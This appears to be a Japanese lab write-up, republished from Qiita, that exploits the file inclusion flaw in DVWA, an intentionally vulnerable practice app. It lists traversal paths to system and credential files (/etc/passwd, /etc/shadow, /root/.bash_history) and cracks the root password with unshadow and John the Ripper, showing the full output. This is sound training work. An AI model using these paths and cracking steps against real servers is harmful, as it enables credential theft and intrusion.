DVWAでfile inclusion
前提
- kali linux環境がある
- DVWAのセットアップ済み(https://qiita.com/KPenguin/items/7e4f1c428c3dadf8591c )
目標
- file-inclusionでパスワードを奪取する
手順概要
- パスワード管理ファイルにアクセスする
内容
file inclusionとは
- urlのクエリを用いてサーバー内にあるファイルにアクセスすること。
- urlのクエリ=fileパスと同じ意味になるので、クエリを操作することで意図しないファイルにアクセスできる。
前準備
- DVWAにログインする
- 以下コードをkali上で実行しDVWAを立ち上げる。
- http://localhost/DVWA-master/index.php
- admin/passwordでログイン
- セキュリティレベルを下げる。
- メニュー下にあるDVWA securityへアクセス
- デフォルトがimpossibleなので、このままではハッキングできない。なのでlowに変更する
# ファイルへのアクセス許可する
root@kali:~# service apache2 start
# DB_createできるようにする
root@kali:~# service mysql start
- file inclusionにアクセスする(左メニューにある)
file inclusion開始
-
挙動を確認する
- 取り合えず「file1.php」「file2.php」「file2.php」のリンクがあるのでそれぞれを押してみる。
- すると、urlが以下のように変化する
- どうやらpage="file名"という構造になっていると予想できる
-
urlのクエリを直接いじってみる。(file4.phpとしてみる)
- http://localhost/DVWA-master/vulnerabilities/fi/?page=file4.php
- なんか褒められたが、重要な情報は出てこなかった。
- ただ、file名を指定することで存在するファイルにアクセスできることが確定した
- いろんなファイルにアクセスする(適時階層は調整するtry&err)
- ../../phpinfo.php
- /etc/passwd
- /etc/issue
- /proc/version
- /etc/shadow(x)
- /root/.bash_history
- /var/log/dmessage(x)
- /var/mail/root(x)
- /var/spool/cron/crontabs/root(x)
-
パスワードを奪取する
-
本来であれば上のデータをもとにパスワードを解析する
- 参照: https://qiita.com/y-araki-qiita/items/cda417e49108eee1fb7b
- 今回はshadowファイルをゲットできなかったので、無理でしたmmm
-
仕方ないのでデータ取れた前提で解析する
- passwdとshadowファイルを連結し、johnさんに投げる。
- 以下shellを実行すると(id/pw)=root/rootであることが分かった。
- 現在kali linuxがサーバーみたいなものなので、kali linuxのログイン認証情報を獲得できた。(johnで解析できるように強度の低いパスワードに再設定して解析した。強度が高いと失敗する)
# passwd+shadowファイルを連結する
root@kali:~# unshadow /etc/passwd /etc/shadow > hash.txt
# 解析開始
root@kali:~# john hash.txt
Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
root (root)
Warning: Only 1 candidate buffered for the current salt, minimum 8 needed for performance.
Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
1g 0:00:00:30 19.38% 2/3 (ETA: 00:18:42) 0.03322g/s 1039p/s 1039c/s 1039C/s mailer2..bandit!
Use the "--show" option to display all of the cracked passwords reliably
Session aborted
おわり
Author And Source
この問題について(DVWAでfile inclusion), 我々は、より多くの情報をここで見つけました https://qiita.com/KPenguin/items/f3ddbc500e833420259d著者帰属:元の著者の情報は、元のURLに含まれています。著作権は原作者に属する。
Content is automatically searched and collected through network algorithms . If there is a violation . Please contact us . We will adjust (correct author information ,or delete content ) as soon as possible .